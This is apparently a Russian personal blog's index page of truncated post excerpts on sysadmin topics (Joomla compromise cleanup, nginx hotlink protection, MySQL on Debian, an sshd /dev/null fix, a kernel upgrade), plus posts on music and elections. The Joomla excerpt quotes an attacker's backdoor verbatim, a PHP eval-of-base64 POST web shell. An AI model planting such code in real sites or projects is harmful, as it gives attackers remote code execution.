Взлом Joomla, внедрение бекдора и очистка от кода

В конце 2011 года в Joomla была некая уязвимость, которая позволила злоумышленникам положить в директорию images бекдор - файл post.php, следующего содержания

<?php eval(base64_decode($_POST["php"])); ?>

После чего основная масса файлов с расширением php (причем, заражалось все без разбору, включая configuration.php.

Код, который помещался в файл таков:

Гитарно-вокальное безумие от Walk off the Earth

Когда я вижу что-то подобное, то мне кажется, что все, чем я занимаюсь или пытаюсь заниматься до того обыденное, что аж жуть..*(

Выборы, выборы! - ...

Решил побыть немного хомячком =) Белая лента для меня это слишком, плюс не однозначные интепретации оной. Поэтому ограничусь виртуальным пространством.

 

632305222316434

 

А в целом, мое мнение уже совсем давно было озвучено группой Пурген. Кажется, я ни разу не голосовал. Даже будучи в армии я умудрился куда-то свалить в далекий наряд, чтобы строем не уйти на избирательный участок 8)

Защита от хотлинка с помощью nginx

Изначально мое отношение к хотлинкингу было никаким. Никак не мог придумать ничего такого, почему бы можно было запретить показывать изображения с оригинального сайта на каком-либо другом. У одного блоггера натолкнулся на параноидальную идею, где он рассказывает, что обнаружил сайт, который был практически неотличимой копией его собственного блога. Автор предположил, что это может навредить ему.

Метки: 

Установка MySQL 5.1 на Debian Lenny

Увы и ах, но еще остаются замшелые сервера с устаревшими морально версиями дистрибутивов, которые все еще хотят молодиться, используя современные версии ПО.

На помощь приходит репозиторий dotdeb.org, который предоставляет пакеты современных версий приложений для устаревших дистрибутивов, основанных на Debian.

Для того, чтобы подключить репозиторий, следует отредактировать файл /etc/apt/sources.list, добавив следующие строки:

Не работает sshd - /dev/null is not a character device!.

Сегодня натолкнулся на проблему с невозможностью запуска sshd под Debian 6.0 (OpenVZ).

/etc/init.d/ssh start
/dev/null is not a character device!

Как оказалось, устройство /dev/null стало файлом. Причины такой метаморфозы искать не стал, хотя где-то натолкнулся в интернетах, что могло возникнуть после апгрейда.

Первый вариант решения проблемы

rm /dev/null
mknod /dev/null c 1 3

Сменить префикс таблиц в базе данных mysql

Когда требуется сменить префикс таблиц в mysql, то на помощь придет следующий скрипт, который я нарыл на каком-то форуме:

Метки: 

Проблема с запуском Dovecot

При попытке запустить Dovecot возникает следующая проблема:

Метки: 

Релиз ядра Линукс 3.1 и Ubuntu

Новость о выходе нового ядра и описание нововведений можно почитать на ЛОРе.

Нам же интересно другое. В последней версии Ubuntu 11.10 по умолчанию идет ядро 3.0. Но уже сейчас готовы пакеты нового ядра.

Для того, чтобы обновиться, следует выполнить несколько нехитрых действий.

1. Скачиваем пакеты.

Страницы

Подписаться на Сабынич Вадим. Обо всем понемногу RSS